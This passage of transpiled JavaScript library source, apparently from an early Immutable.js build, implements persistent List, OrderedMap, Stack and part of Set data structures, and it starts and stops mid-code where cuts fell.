TypeError('Expected [K, V] tuple: ' + entry);\n\t\t }\n\t\t}\n\t\tfunction resolveSize(iter) {\n\t\t assertNotInfinite(iter.size);\n\t\t return ensureSize(iter);\n\t\t}\n\t\tfunction iterableClass(iterable) {\n\t\t return isKeyed(iterable) ? KeyedIterable : isIndexed(iterable) ? IndexedIterable : SetIterable;\n\t\t}\n\t\tfunction makeSequence(iterable) {\n\t\t return Object.create((isKeyed(iterable) ? KeyedSeq : isIndexed(iterable) ? IndexedSeq : SetSeq).prototype);\n\t\t}\n\t\tfunction cacheResultThrough() {\n\t\t if (this._iter.cacheResult) {\n\t\t this._iter.cacheResult();\n\t\t this.size = this._iter.size;\n\t\t return this;\n\t\t } else {\n\t\t return Seq.prototype.cacheResult.call(this);\n\t\t }\n\t\t}\n\t\tfunction defaultComparator(a, b) {\n\t\t return a > b ? 1 : a < b ? -1 : 0;\n\t\t}\n\t\tvar List = function List(value) {\n\t\t var empty = emptyList();\n\t\t if (value === null || value === undefined) {\n\t\t return empty;\n\t\t }\n\t\t if (isList(value)) {\n\t\t return value;\n\t\t }\n\t\t var iter = IndexedIterable(value);\n\t\t var size = iter.size;\n\t\t if (size === 0) {\n\t\t return empty;\n\t\t }\n\t\t assertNotInfinite(size);\n\t\t if (size > 0 && size < SIZE) {\n\t\t return makeList(0, size, SHIFT, null, new VNode(iter.toArray()));\n\t\t }\n\t\t return empty.withMutations((function(list) {\n\t\t list.setSize(size);\n\t\t iter.forEach((function(v, i) {\n\t\t return list.set(i, v);\n\t\t }));\n\t\t }));\n\t\t};\n\t\t($traceurRuntime.createClass)(List, {\n\t\t toString: function() {\n\t\t return this.__toString('List [', ']');\n\t\t },\n\t\t get: function(index, notSetValue) {\n\t\t index = wrapIndex(this, index);\n\t\t if (index < 0 || index >= this.size) {\n\t\t return notSetValue;\n\t\t }\n\t\t index += this._origin;\n\t\t var node = listNodeFor(this, index);\n\t\t return node && node.array[index & MASK];\n\t\t },\n\t\t set: function(index, value) {\n\t\t return updateList(this, index, value);\n\t\t },\n\t\t remove: function(index) {\n\t\t return !this.has(index) ? this : index === 0 ? this.shift() : index === this.size - 1 ? this.pop() : this.splice(index, 1);\n\t\t },\n\t\t clear: function() {\n\t\t if (this.size === 0) {\n\t\t return this;\n\t\t }\n\t\t if (this.__ownerID) {\n\t\t this.size = this._origin = this._capacity = 0;\n\t\t this._level = SHIFT;\n\t\t this._root = this._tail = null;\n\t\t this.__hash = undefined;\n\t\t this.__altered = true;\n\t\t return this;\n\t\t }\n\t\t return emptyList();\n\t\t },\n\t\t push: function() {\n\t\t var values = arguments;\n\t\t var oldSize = this.size;\n\t\t return this.withMutations((function(list) {\n\t\t setListBounds(list, 0, oldSize + values.length);\n\t\t for (var ii = 0; ii < values.length; ii++) {\n\t\t list.set(oldSize + ii, values[ii]);\n\t\t }\n\t\t }));\n\t\t },\n\t\t pop: function() {\n\t\t return setListBounds(this, 0, -1);\n\t\t },\n\t\t unshift: function() {\n\t\t var values = arguments;\n\t\t return this.withMutations((function(list) {\n\t\t setListBounds(list, -values.length);\n\t\t for (var ii = 0; ii < values.length; ii++) {\n\t\t list.set(ii, values[ii]);\n\t\t }\n\t\t }));\n\t\t },\n\t\t shift: function() {\n\t\t return setListBounds(this, 1);\n\t\t },\n\t\t merge: function() {\n\t\t return mergeIntoListWith(this, undefined, arguments);\n\t\t },\n\t\t mergeWith: function(merger) {\n\t\t for (var iters = [],\n\t\t $__7 = 1; $__7 < arguments.length; $__7++)\n\t\t iters[$__7 - 1] = arguments[$__7];\n\t\t return mergeIntoListWith(this, merger, iters);\n\t\t },\n\t\t mergeDeep: function() {\n\t\t return mergeIntoListWith(this, deepMerger(undefined), arguments);\n\t\t },\n\t\t mergeDeepWith: function(merger) {\n\t\t for (var iters = [],\n\t\t $__8 = 1; $__8 < arguments.length; $__8++)\n\t\t iters[$__8 - 1] = arguments[$__8];\n\t\t return mergeIntoListWith(this, deepMerger(merger), iters);\n\t\t },\n\t\t setSize: function(size) {\n\t\t return setListBounds(this, 0, size);\n\t\t },\n\t\t slice: function(begin, end) {\n\t\t var size = this.size;\n\t\t if (wholeSlice(begin, end, size)) {\n\t\t return this;\n\t\t }\n\t\t return setListBounds(this, resolveBegin(begin, size), resolveEnd(end, size));\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var index = 0;\n\t\t var values = iterateList(this, reverse);\n\t\t return new Iterator((function() {\n\t\t var value = values();\n\t\t return value === DONE ? iteratorDone() : iteratorValue(type, index++, value);\n\t\t }));\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var index = 0;\n\t\t var values = iterateList(this, reverse);\n\t\t var value;\n\t\t while ((value = values()) !== DONE) {\n\t\t if (fn(value, index++, this) === false) {\n\t\t break;\n\t\t }\n\t\t }\n\t\t return index;\n\t\t },\n\t\t __ensureOwner: function(ownerID) {\n\t\t if (ownerID === this.__ownerID) {\n\t\t return this;\n\t\t }\n\t\t if (!ownerID) {\n\t\t this.__ownerID = ownerID;\n\t\t return this;\n\t\t }\n\t\t return makeList(this._origin, this._capacity, this._level, this._root, this._tail, ownerID, this.__hash);\n\t\t }\n\t\t}, {of: function() {\n\t\t return this(arguments);\n\t\t }}, IndexedCollection);\n\t\tfunction isList(maybeList) {\n\t\t return !!(maybeList && maybeList[IS_LIST_SENTINEL]);\n\t\t}\n\t\tList.isList = isList;\n\t\tvar IS_LIST_SENTINEL = '@@__IMMUTABLE_LIST__@@';\n\t\tvar ListPrototype = List.prototype;\n\t\tListPrototype[IS_LIST_SENTINEL] = true;\n\t\tListPrototype[DELETE] = ListPrototype.remove;\n\t\tListPrototype.setIn = MapPrototype.setIn;\n\t\tListPrototype.deleteIn = ListPrototype.removeIn = MapPrototype.removeIn;\n\t\tListPrototype.update = MapPrototype.update;\n\t\tListPrototype.updateIn = MapPrototype.updateIn;\n\t\tListPrototype.mergeIn = MapPrototype.mergeIn;\n\t\tListPrototype.mergeDeepIn = MapPrototype.mergeDeepIn;\n\t\tListPrototype.withMutations = MapPrototype.withMutations;\n\t\tListPrototype.asMutable = MapPrototype.asMutable;\n\t\tListPrototype.asImmutable = MapPrototype.asImmutable;\n\t\tListPrototype.wasAltered = MapPrototype.wasAltered;\n\t\tvar VNode = function VNode(array, ownerID) {\n\t\t this.array = array;\n\t\t this.ownerID = ownerID;\n\t\t};\n\t\tvar $VNode = VNode;\n\t\t($traceurRuntime.createClass)(VNode, {\n\t\t removeBefore: function(ownerID, level, index) {\n\t\t if (index === level ? 1 << level : 0 || this.array.length === 0) {\n\t\t return this;\n\t\t }\n\t\t var originIndex = (index >>> level) & MASK;\n\t\t if (originIndex >= this.array.length) {\n\t\t return new $VNode([], ownerID);\n\t\t }\n\t\t var removingFirst = originIndex === 0;\n\t\t var newChild;\n\t\t if (level > 0) {\n\t\t var oldChild = this.array[originIndex];\n\t\t newChild = oldChild && oldChild.removeBefore(ownerID, level - SHIFT, index);\n\t\t if (newChild === oldChild && removingFirst) {\n\t\t return this;\n\t\t }\n\t\t }\n\t\t if (removingFirst && !newChild) {\n\t\t return this;\n\t\t }\n\t\t var editable = editableVNode(this, ownerID);\n\t\t if (!removingFirst) {\n\t\t for (var ii = 0; ii < originIndex; ii++) {\n\t\t editable.array[ii] = undefined;\n\t\t }\n\t\t }\n\t\t if (newChild) {\n\t\t editable.array[originIndex] = newChild;\n\t\t }\n\t\t return editable;\n\t\t },\n\t\t removeAfter: function(ownerID, level, index) {\n\t\t if (index === level ? 1 << level : 0 || this.array.length === 0) {\n\t\t return this;\n\t\t }\n\t\t var sizeIndex = ((index - 1) >>> level) & MASK;\n\t\t if (sizeIndex >= this.array.length) {\n\t\t return this;\n\t\t }\n\t\t var removingLast = sizeIndex === this.array.length - 1;\n\t\t var newChild;\n\t\t if (level > 0) {\n\t\t var oldChild = this.array[sizeIndex];\n\t\t newChild = oldChild && oldChild.removeAfter(ownerID, level - SHIFT, index);\n\t\t if (newChild === oldChild && removingLast) {\n\t\t return this;\n\t\t }\n\t\t }\n\t\t if (removingLast && !newChild) {\n\t\t return this;\n\t\t }\n\t\t var editable = editableVNode(this, ownerID);\n\t\t if (!removingLast) {\n\t\t editable.array.pop();\n\t\t }\n\t\t if (newChild) {\n\t\t editable.array[sizeIndex] = newChild;\n\t\t }\n\t\t return editable;\n\t\t }\n\t\t}, {});\n\t\tvar DONE = {};\n\t\tfunction iterateList(list, reverse) {\n\t\t var left = list._origin;\n\t\t var right = list._capacity;\n\t\t var tailPos = getTailOffset(right);\n\t\t var tail = list._tail;\n\t\t return iterateNodeOrLeaf(list._root, list._level, 0);\n\t\t function iterateNodeOrLeaf(node, level, offset) {\n\t\t return level === 0 ? iterateLeaf(node, offset) : iterateNode(node, level, offset);\n\t\t }\n\t\t function iterateLeaf(node, offset) {\n\t\t var array = offset === tailPos ? tail && tail.array : node && node.array;\n\t\t var from = offset > left ? 0 : left - offset;\n\t\t var to = right - offset;\n\t\t if (to > SIZE) {\n\t\t to = SIZE;\n\t\t }\n\t\t return (function() {\n\t\t if (from === to) {\n\t\t return DONE;\n\t\t }\n\t\t var idx = reverse ? --to : from++;\n\t\t return array && array[idx];\n\t\t });\n\t\t }\n\t\t function iterateNode(node, level, offset) {\n\t\t var values;\n\t\t var array = node && node.array;\n\t\t var from = offset > left ? 0 : (left - offset) >> level;\n\t\t var to = ((right - offset) >> level) + 1;\n\t\t if (to > SIZE) {\n\t\t to = SIZE;\n\t\t }\n\t\t return (function() {\n\t\t do {\n\t\t if (values) {\n\t\t var value = values();\n\t\t if (value !== DONE) {\n\t\t return value;\n\t\t }\n\t\t values = null;\n\t\t }\n\t\t if (from === to) {\n\t\t return DONE;\n\t\t }\n\t\t var idx = reverse ? --to : from++;\n\t\t values = iterateNodeOrLeaf(array && array[idx], level - SHIFT, offset + (idx << level));\n\t\t } while (true);\n\t\t });\n\t\t }\n\t\t}\n\t\tfunction makeList(origin, capacity, level, root, tail, ownerID, hash) {\n\t\t var list = Object.create(ListPrototype);\n\t\t list.size = capacity - origin;\n\t\t list._origin = origin;\n\t\t list._capacity = capacity;\n\t\t list._level = level;\n\t\t list._root = root;\n\t\t list._tail = tail;\n\t\t list.__ownerID = ownerID;\n\t\t list.__hash = hash;\n\t\t list.__altered = false;\n\t\t return list;\n\t\t}\n\t\tvar EMPTY_LIST;\n\t\tfunction emptyList() {\n\t\t return EMPTY_LIST || (EMPTY_LIST = makeList(0, 0, SHIFT));\n\t\t}\n\t\tfunction updateList(list, index, value) {\n\t\t index = wrapIndex(list, index);\n\t\t if (index >= list.size || index < 0) {\n\t\t return list.withMutations((function(list) {\n\t\t index < 0 ? setListBounds(list, index).set(0, value) : setListBounds(list, 0, index + 1).set(index, value);\n\t\t }));\n\t\t }\n\t\t index += list._origin;\n\t\t var newTail = list._tail;\n\t\t var newRoot = list._root;\n\t\t var didAlter = MakeRef(DID_ALTER);\n\t\t if (index >= getTailOffset(list._capacity)) {\n\t\t newTail = updateVNode(newTail, list.__ownerID, 0, index, value, didAlter);\n\t\t } else {\n\t\t newRoot = updateVNode(newRoot, list.__ownerID, list._level, index, value, didAlter);\n\t\t }\n\t\t if (!didAlter.value) {\n\t\t return list;\n\t\t }\n\t\t if (list.__ownerID) {\n\t\t list._root = newRoot;\n\t\t list._tail = newTail;\n\t\t list.__hash = undefined;\n\t\t list.__altered = true;\n\t\t return list;\n\t\t }\n\t\t return makeList(list._origin, list._capacity, list._level, newRoot, newTail);\n\t\t}\n\t\tfunction updateVNode(node, ownerID, level, index, value, didAlter) {\n\t\t var idx = (index >>> level) & MASK;\n\t\t var nodeHas = node && idx < node.array.length;\n\t\t if (!nodeHas && value === undefined) {\n\t\t return node;\n\t\t }\n\t\t var newNode;\n\t\t if (level > 0) {\n\t\t var lowerNode = node && node.array[idx];\n\t\t var newLowerNode = updateVNode(lowerNode, ownerID, level - SHIFT, index, value, didAlter);\n\t\t if (newLowerNode === lowerNode) {\n\t\t return node;\n\t\t }\n\t\t newNode = editableVNode(node, ownerID);\n\t\t newNode.array[idx] = newLowerNode;\n\t\t return newNode;\n\t\t }\n\t\t if (nodeHas && node.array[idx] === value) {\n\t\t return node;\n\t\t }\n\t\t SetRef(didAlter);\n\t\t newNode = editableVNode(node, ownerID);\n\t\t if (value === undefined && idx === newNode.array.length - 1) {\n\t\t newNode.array.pop();\n\t\t } else {\n\t\t newNode.array[idx] = value;\n\t\t }\n\t\t return newNode;\n\t\t}\n\t\tfunction editableVNode(node, ownerID) {\n\t\t if (ownerID && node && ownerID === node.ownerID) {\n\t\t return node;\n\t\t }\n\t\t return new VNode(node ? node.array.slice() : [], ownerID);\n\t\t}\n\t\tfunction listNodeFor(list, rawIndex) {\n\t\t if (rawIndex >= getTailOffset(list._capacity)) {\n\t\t return list._tail;\n\t\t }\n\t\t if (rawIndex < 1 << (list._level + SHIFT)) {\n\t\t var node = list._root;\n\t\t var level = list._level;\n\t\t while (node && level > 0) {\n\t\t node = node.array[(rawIndex >>> level) & MASK];\n\t\t level -= SHIFT;\n\t\t }\n\t\t return node;\n\t\t }\n\t\t}\n\t\tfunction setListBounds(list, begin, end) {\n\t\t var owner = list.__ownerID || new OwnerID();\n\t\t var oldOrigin = list._origin;\n\t\t var oldCapacity = list._capacity;\n\t\t var newOrigin = oldOrigin + begin;\n\t\t var newCapacity = end === undefined ? oldCapacity : end < 0 ? oldCapacity + end : oldOrigin + end;\n\t\t if (newOrigin === oldOrigin && newCapacity === oldCapacity) {\n\t\t return list;\n\t\t }\n\t\t if (newOrigin >= newCapacity) {\n\t\t return list.clear();\n\t\t }\n\t\t var newLevel = list._level;\n\t\t var newRoot = list._root;\n\t\t var offsetShift = 0;\n\t\t while (newOrigin + offsetShift < 0) {\n\t\t newRoot = new VNode(newRoot && newRoot.array.length ? [undefined, newRoot] : [], owner);\n\t\t newLevel += SHIFT;\n\t\t offsetShift += 1 << newLevel;\n\t\t }\n\t\t if (offsetShift) {\n\t\t newOrigin += offsetShift;\n\t\t oldOrigin += offsetShift;\n\t\t newCapacity += offsetShift;\n\t\t oldCapacity += offsetShift;\n\t\t }\n\t\t var oldTailOffset = getTailOffset(oldCapacity);\n\t\t var newTailOffset = getTailOffset(newCapacity);\n\t\t while (newTailOffset >= 1 << (newLevel + SHIFT)) {\n\t\t newRoot = new VNode(newRoot && newRoot.array.length ? [newRoot] : [], owner);\n\t\t newLevel += SHIFT;\n\t\t }\n\t\t var oldTail = list._tail;\n\t\t var newTail = newTailOffset < oldTailOffset ? listNodeFor(list, newCapacity - 1) : newTailOffset > oldTailOffset ? new VNode([], owner) : oldTail;\n\t\t if (oldTail && newTailOffset > oldTailOffset && newOrigin < oldCapacity && oldTail.array.length) {\n\t\t newRoot = editableVNode(newRoot, owner);\n\t\t var node = newRoot;\n\t\t for (var level = newLevel; level > SHIFT; level -= SHIFT) {\n\t\t var idx = (oldTailOffset >>> level) & MASK;\n\t\t node = node.array[idx] = editableVNode(node.array[idx], owner);\n\t\t }\n\t\t node.array[(oldTailOffset >>> SHIFT) & MASK] = oldTail;\n\t\t }\n\t\t if (newCapacity < oldCapacity) {\n\t\t newTail = newTail && newTail.removeAfter(owner, 0, newCapacity);\n\t\t }\n\t\t if (newOrigin >= newTailOffset) {\n\t\t newOrigin -= newTailOffset;\n\t\t newCapacity -= newTailOffset;\n\t\t newLevel = SHIFT;\n\t\t newRoot = null;\n\t\t newTail = newTail && newTail.removeBefore(owner, 0, newOrigin);\n\t\t } else if (newOrigin > oldOrigin || newTailOffset < oldTailOffset) {\n\t\t offsetShift = 0;\n\t\t while (newRoot) {\n\t\t var beginIndex = (newOrigin >>> newLevel) & MASK;\n\t\t if (beginIndex !== (newTailOffset >>> newLevel) & MASK) {\n\t\t break;\n\t\t }\n\t\t if (beginIndex) {\n\t\t offsetShift += (1 << newLevel) * beginIndex;\n\t\t }\n\t\t newLevel -= SHIFT;\n\t\t newRoot = newRoot.array[beginIndex];\n\t\t }\n\t\t if (newRoot && newOrigin > oldOrigin) {\n\t\t newRoot = newRoot.removeBefore(owner, newLevel, newOrigin - offsetShift);\n\t\t }\n\t\t if (newRoot && newTailOffset < oldTailOffset) {\n\t\t newRoot = newRoot.removeAfter(owner, newLevel, newTailOffset - offsetShift);\n\t\t }\n\t\t if (offsetShift) {\n\t\t newOrigin -= offsetShift;\n\t\t newCapacity -= offsetShift;\n\t\t }\n\t\t }\n\t\t if (list.__ownerID) {\n\t\t list.size = newCapacity - newOrigin;\n\t\t list._origin = newOrigin;\n\t\t list._capacity = newCapacity;\n\t\t list._level = newLevel;\n\t\t list._root = newRoot;\n\t\t list._tail = newTail;\n\t\t list.__hash = undefined;\n\t\t list.__altered = true;\n\t\t return list;\n\t\t }\n\t\t return makeList(newOrigin, newCapacity, newLevel, newRoot, newTail);\n\t\t}\n\t\tfunction mergeIntoListWith(list, merger, iterables) {\n\t\t var iters = [];\n\t\t var maxSize = 0;\n\t\t for (var ii = 0; ii < iterables.length; ii++) {\n\t\t var value = iterables[ii];\n\t\t var iter = IndexedIterable(value);\n\t\t if (iter.size > maxSize) {\n\t\t maxSize = iter.size;\n\t\t }\n\t\t if (!isIterable(value)) {\n\t\t iter = iter.map((function(v) {\n\t\t return fromJS(v);\n\t\t }));\n\t\t }\n\t\t iters.push(iter);\n\t\t }\n\t\t if (maxSize > list.size) {\n\t\t list = list.setSize(maxSize);\n\t\t }\n\t\t return mergeIntoCollectionWith(list, merger, iters);\n\t\t}\n\t\tfunction getTailOffset(size) {\n\t\t return size < SIZE ? 0 : (((size - 1) >>> SHIFT) << SHIFT);\n\t\t}\n\t\tvar OrderedMap = function OrderedMap(value) {\n\t\t return value === null || value === undefined ? emptyOrderedMap() : isOrderedMap(value) ? value : emptyOrderedMap().withMutations((function(map) {\n\t\t var iter = KeyedIterable(value);\n\t\t assertNotInfinite(iter.size);\n\t\t iter.forEach((function(v, k) {\n\t\t return map.set(k, v);\n\t\t }));\n\t\t }));\n\t\t};\n\t\t($traceurRuntime.createClass)(OrderedMap, {\n\t\t toString: function() {\n\t\t return this.__toString('OrderedMap {', '}');\n\t\t },\n\t\t get: function(k, notSetValue) {\n\t\t var index = this._map.get(k);\n\t\t return index !== undefined ? this._list.get(index)[1] : notSetValue;\n\t\t },\n\t\t clear: function() {\n\t\t if (this.size === 0) {\n\t\t return this;\n\t\t }\n\t\t if (this.__ownerID) {\n\t\t this.size = 0;\n\t\t this._map.clear();\n\t\t this._list.clear();\n\t\t return this;\n\t\t }\n\t\t return emptyOrderedMap();\n\t\t },\n\t\t set: function(k, v) {\n\t\t return updateOrderedMap(this, k, v);\n\t\t },\n\t\t remove: function(k) {\n\t\t return updateOrderedMap(this, k, NOT_SET);\n\t\t },\n\t\t wasAltered: function() {\n\t\t return this._map.wasAltered() || this._list.wasAltered();\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return this._list.__iterate((function(entry) {\n\t\t return entry && fn(entry[1], entry[0], $__0);\n\t\t }), reverse);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t return this._list.fromEntrySeq().__iterator(type, reverse);\n\t\t },\n\t\t __ensureOwner: function(ownerID) {\n\t\t if (ownerID === this.__ownerID) {\n\t\t return this;\n\t\t }\n\t\t var newMap = this._map.__ensureOwner(ownerID);\n\t\t var newList = this._list.__ensureOwner(ownerID);\n\t\t if (!ownerID) {\n\t\t this.__ownerID = ownerID;\n\t\t this._map = newMap;\n\t\t this._list = newList;\n\t\t return this;\n\t\t }\n\t\t return makeOrderedMap(newMap, newList, ownerID, this.__hash);\n\t\t }\n\t\t}, {of: function() {\n\t\t return this(arguments);\n\t\t }}, Map);\n\t\tfunction isOrderedMap(maybeOrderedMap) {\n\t\t return isMap(maybeOrderedMap) && isOrdered(maybeOrderedMap);\n\t\t}\n\t\tOrderedMap.isOrderedMap = isOrderedMap;\n\t\tOrderedMap.prototype[IS_ORDERED_SENTINEL] = true;\n\t\tOrderedMap.prototype[DELETE] = OrderedMap.prototype.remove;\n\t\tfunction makeOrderedMap(map, list, ownerID, hash) {\n\t\t var omap = Object.create(OrderedMap.prototype);\n\t\t omap.size = map ? map.size : 0;\n\t\t omap._map = map;\n\t\t omap._list = list;\n\t\t omap.__ownerID = ownerID;\n\t\t omap.__hash = hash;\n\t\t return omap;\n\t\t}\n\t\tvar EMPTY_ORDERED_MAP;\n\t\tfunction emptyOrderedMap() {\n\t\t return EMPTY_ORDERED_MAP || (EMPTY_ORDERED_MAP = makeOrderedMap(emptyMap(), emptyList()));\n\t\t}\n\t\tfunction updateOrderedMap(omap, k, v) {\n\t\t var map = omap._map;\n\t\t var list = omap._list;\n\t\t var i = map.get(k);\n\t\t var has = i !== undefined;\n\t\t var newMap;\n\t\t var newList;\n\t\t if (v === NOT_SET) {\n\t\t if (!has) {\n\t\t return omap;\n\t\t }\n\t\t if (list.size >= SIZE && list.size >= map.size * 2) {\n\t\t newList = list.filter((function(entry, idx) {\n\t\t return entry !== undefined && i !== idx;\n\t\t }));\n\t\t newMap = newList.toKeyedSeq().map((function(entry) {\n\t\t return entry[0];\n\t\t })).flip().toMap();\n\t\t if (omap.__ownerID) {\n\t\t newMap.__ownerID = newList.__ownerID = omap.__ownerID;\n\t\t }\n\t\t } else {\n\t\t newMap = map.remove(k);\n\t\t newList = i === list.size - 1 ? list.pop() : list.set(i, undefined);\n\t\t }\n\t\t } else {\n\t\t if (has) {\n\t\t if (v === list.get(i)[1]) {\n\t\t return omap;\n\t\t }\n\t\t newMap = map;\n\t\t newList = list.set(i, [k, v]);\n\t\t } else {\n\t\t newMap = map.set(k, list.size);\n\t\t newList = list.set(list.size, [k, v]);\n\t\t }\n\t\t }\n\t\t if (omap.__ownerID) {\n\t\t omap.size = newMap.size;\n\t\t omap._map = newMap;\n\t\t omap._list = newList;\n\t\t omap.__hash = undefined;\n\t\t return omap;\n\t\t }\n\t\t return makeOrderedMap(newMap, newList);\n\t\t}\n\t\tvar Stack = function Stack(value) {\n\t\t return value === null || value === undefined ? emptyStack() : isStack(value) ? value : emptyStack().unshiftAll(value);\n\t\t};\n\t\tvar $Stack = Stack;\n\t\t($traceurRuntime.createClass)(Stack, {\n\t\t toString: function() {\n\t\t return this.__toString('Stack [', ']');\n\t\t },\n\t\t get: function(index, notSetValue) {\n\t\t var head = this._head;\n\t\t while (head && index--) {\n\t\t head = head.next;\n\t\t }\n\t\t return head ? head.value : notSetValue;\n\t\t },\n\t\t peek: function() {\n\t\t return this._head && this._head.value;\n\t\t },\n\t\t push: function() {\n\t\t if (arguments.length === 0) {\n\t\t return this;\n\t\t }\n\t\t var newSize = this.size + arguments.length;\n\t\t var head = this._head;\n\t\t for (var ii = arguments.length - 1; ii >= 0; ii--) {\n\t\t head = {\n\t\t value: arguments[ii],\n\t\t next: head\n\t\t };\n\t\t }\n\t\t if (this.__ownerID) {\n\t\t this.size = newSize;\n\t\t this._head = head;\n\t\t this.__hash = undefined;\n\t\t this.__altered = true;\n\t\t return this;\n\t\t }\n\t\t return makeStack(newSize, head);\n\t\t },\n\t\t pushAll: function(iter) {\n\t\t iter = IndexedIterable(iter);\n\t\t if (iter.size === 0) {\n\t\t return this;\n\t\t }\n\t\t assertNotInfinite(iter.size);\n\t\t var newSize = this.size;\n\t\t var head = this._head;\n\t\t iter.reverse().forEach((function(value) {\n\t\t newSize++;\n\t\t head = {\n\t\t value: value,\n\t\t next: head\n\t\t };\n\t\t }));\n\t\t if (this.__ownerID) {\n\t\t this.size = newSize;\n\t\t this._head = head;\n\t\t this.__hash = undefined;\n\t\t this.__altered = true;\n\t\t return this;\n\t\t }\n\t\t return makeStack(newSize, head);\n\t\t },\n\t\t pop: function() {\n\t\t return this.slice(1);\n\t\t },\n\t\t unshift: function() {\n\t\t return this.push.apply(this, arguments);\n\t\t },\n\t\t unshiftAll: function(iter) {\n\t\t return this.pushAll(iter);\n\t\t },\n\t\t shift: function() {\n\t\t return this.pop.apply(this, arguments);\n\t\t },\n\t\t clear: function() {\n\t\t if (this.size === 0) {\n\t\t return this;\n\t\t }\n\t\t if (this.__ownerID) {\n\t\t this.size = 0;\n\t\t this._head = undefined;\n\t\t this.__hash = undefined;\n\t\t this.__altered = true;\n\t\t return this;\n\t\t }\n\t\t return emptyStack();\n\t\t },\n\t\t slice: function(begin, end) {\n\t\t if (wholeSlice(begin, end, this.size)) {\n\t\t return this;\n\t\t }\n\t\t var resolvedBegin = resolveBegin(begin, this.size);\n\t\t var resolvedEnd = resolveEnd(end, this.size);\n\t\t if (resolvedEnd !== this.size) {\n\t\t return $traceurRuntime.superCall(this, $Stack.prototype, \"slice\", [begin, end]);\n\t\t }\n\t\t var newSize = this.size - resolvedBegin;\n\t\t var head = this._head;\n\t\t while (resolvedBegin--) {\n\t\t head = head.next;\n\t\t }\n\t\t if (this.__ownerID) {\n\t\t this.size = newSize;\n\t\t this._head = head;\n\t\t this.__hash = undefined;\n\t\t this.__altered = true;\n\t\t return this;\n\t\t }\n\t\t return makeStack(newSize, head);\n\t\t },\n\t\t __ensureOwner: function(ownerID) {\n\t\t if (ownerID === this.__ownerID) {\n\t\t return this;\n\t\t }\n\t\t if (!ownerID) {\n\t\t this.__ownerID = ownerID;\n\t\t this.__altered = false;\n\t\t return this;\n\t\t }\n\t\t return makeStack(this.size, this._head, ownerID, this.__hash);\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t if (reverse) {\n\t\t return this.toSeq().cacheResult.__iterate(fn, reverse);\n\t\t }\n\t\t var iterations = 0;\n\t\t var node = this._head;\n\t\t while (node) {\n\t\t if (fn(node.value, iterations++, this) === false) {\n\t\t break;\n\t\t }\n\t\t node = node.next;\n\t\t }\n\t\t return iterations;\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t if (reverse) {\n\t\t return this.toSeq().cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterations = 0;\n\t\t var node = this._head;\n\t\t return new Iterator((function() {\n\t\t if (node) {\n\t\t var value = node.value;\n\t\t node = node.next;\n\t\t return iteratorValue(type, iterations++, value);\n\t\t }\n\t\t return iteratorDone();\n\t\t }));\n\t\t }\n\t\t}, {of: function() {\n\t\t return this(arguments);\n\t\t }}, IndexedCollection);\n\t\tfunction isStack(maybeStack) {\n\t\t return !!(maybeStack && maybeStack[IS_STACK_SENTINEL]);\n\t\t}\n\t\tStack.isStack = isStack;\n\t\tvar IS_STACK_SENTINEL = '@@__IMMUTABLE_STACK__@@';\n\t\tvar StackPrototype = Stack.prototype;\n\t\tStackPrototype[IS_STACK_SENTINEL] = true;\n\t\tStackPrototype.withMutations = MapPrototype.withMutations;\n\t\tStackPrototype.asMutable = MapPrototype.asMutable;\n\t\tStackPrototype.asImmutable = MapPrototype.asImmutable;\n\t\tStackPrototype.wasAltered = MapPrototype.wasAltered;\n\t\tfunction makeStack(size, head, ownerID, hash) {\n\t\t var map = Object.create(StackPrototype);\n\t\t map.size = size;\n\t\t map._head = head;\n\t\t map.__ownerID = ownerID;\n\t\t map.__hash = hash;\n\t\t map.__altered = false;\n\t\t return map;\n\t\t}\n\t\tvar EMPTY_STACK;\n\t\tfunction emptyStack() {\n\t\t return EMPTY_STACK || (EMPTY_STACK = makeStack(0));\n\t\t}\n\t\tvar Set = function Set(value) {\n\t\t return value === null || value === undefined ? emptySet() : isSet(value) ? value : emptySet().withMutations((function(set) {\n\t\t var iter = SetIterable(value);\n\t\t assertNotInfinite(iter.size);\n\t\t iter.forEach((function(v) {\n\t\t return set.add(v);\n\t\t }));\n\t\t }));\n\t\t};\n\t\t($traceurRuntime.createClass)(Set, {\n\t\t toString: function() {\n\t\t return this.__toString('Set {', '}');\n\t\t },\n\t\t has: function(value) {\n\t\t return this._map.has(value);\n\t\t },\n\t\t add: function(value) {\n\t\t return updateSet(this, this._map.set(value, true));\n\t\t },\n\t\t remove: function(value) {\n\t\t return updateSet(this, this._map.remove(value));\n\t\t },\n\t\t clear: function() {\n\t\t return updateSet(this, this._map.clear());\n\t\t },\n\t\t union: function() {\n\t\t for (var iters = [],\n\t\t $__9 = 0; $__9 < arguments.length; $__9++)\n\t\t iters[$__9] = arguments[$__9];\n\t\t iters = iters.filter((function(x) {\n\t\t return x.size !== 0;\n\t\t }));\n\t\t if (iters.length === 0) {\n\t\t return this;\n\t\t }\n\t\t if (this.size === 0 && iters.length === 1) {\n\t\t return this.constructor(iters[0]);\n\t\t }\n\t\t return this.withMutations((function(set) {\n\t\t for (var ii = 0; ii < iters.length; ii++) {\n\t\t SetIterable(iters[ii]).forEach((function(value) {\n\t\t return set.add(value);\n\t\t }));\n\t\t }\n\t\t }));\n\t\t },\n\t\t intersect: function() {\n\t\t for (var iters = [],\n\t\t $__10 = 0; $__10 < arguments.length; $__10++)\n\t\t iters[$__10] = arguments[$__10];\n\t\t if (iters.length === 0) {\n\t\t return this;\n\t\t }\n\t\t iters = iters.map((function(iter) {\n\t\t return SetIterable(iter);\n\t\t }));\n\t\t var originalSet = this;\n\t\t return this.withMutations((function(set) {\n\t\t originalSet.forEach((function(value) {\n\t\t if (!iters.every((function(iter) {\n\t\t return iter.contains(value);\n\t\t }))) {\n\t\t set.remove(value);\n\t\t }\n\t\t }));\n\t\t }));\n\t\t },\n\t\t subtract: function() {\n\t\t for (var iters = [],\n\t\t $__11 = 0; $__11 < arguments.length; $__11++)\n\t\t iters[$__11] = arguments[$__11];\n\t\t if (iters.length === 0) {\n\t\t return this;\n\t\t }\n\t\t iters = iters.map((function(iter) {\n\t\t return SetIterable(iter);\n\t\t }));\n\t\t var originalSet = this;\n\t\t return this.withMutations((function(set) {\n\t\t originalSet.forEach((function(value) {\n\t\t if (iters.some((function(iter) {\n\t\t return 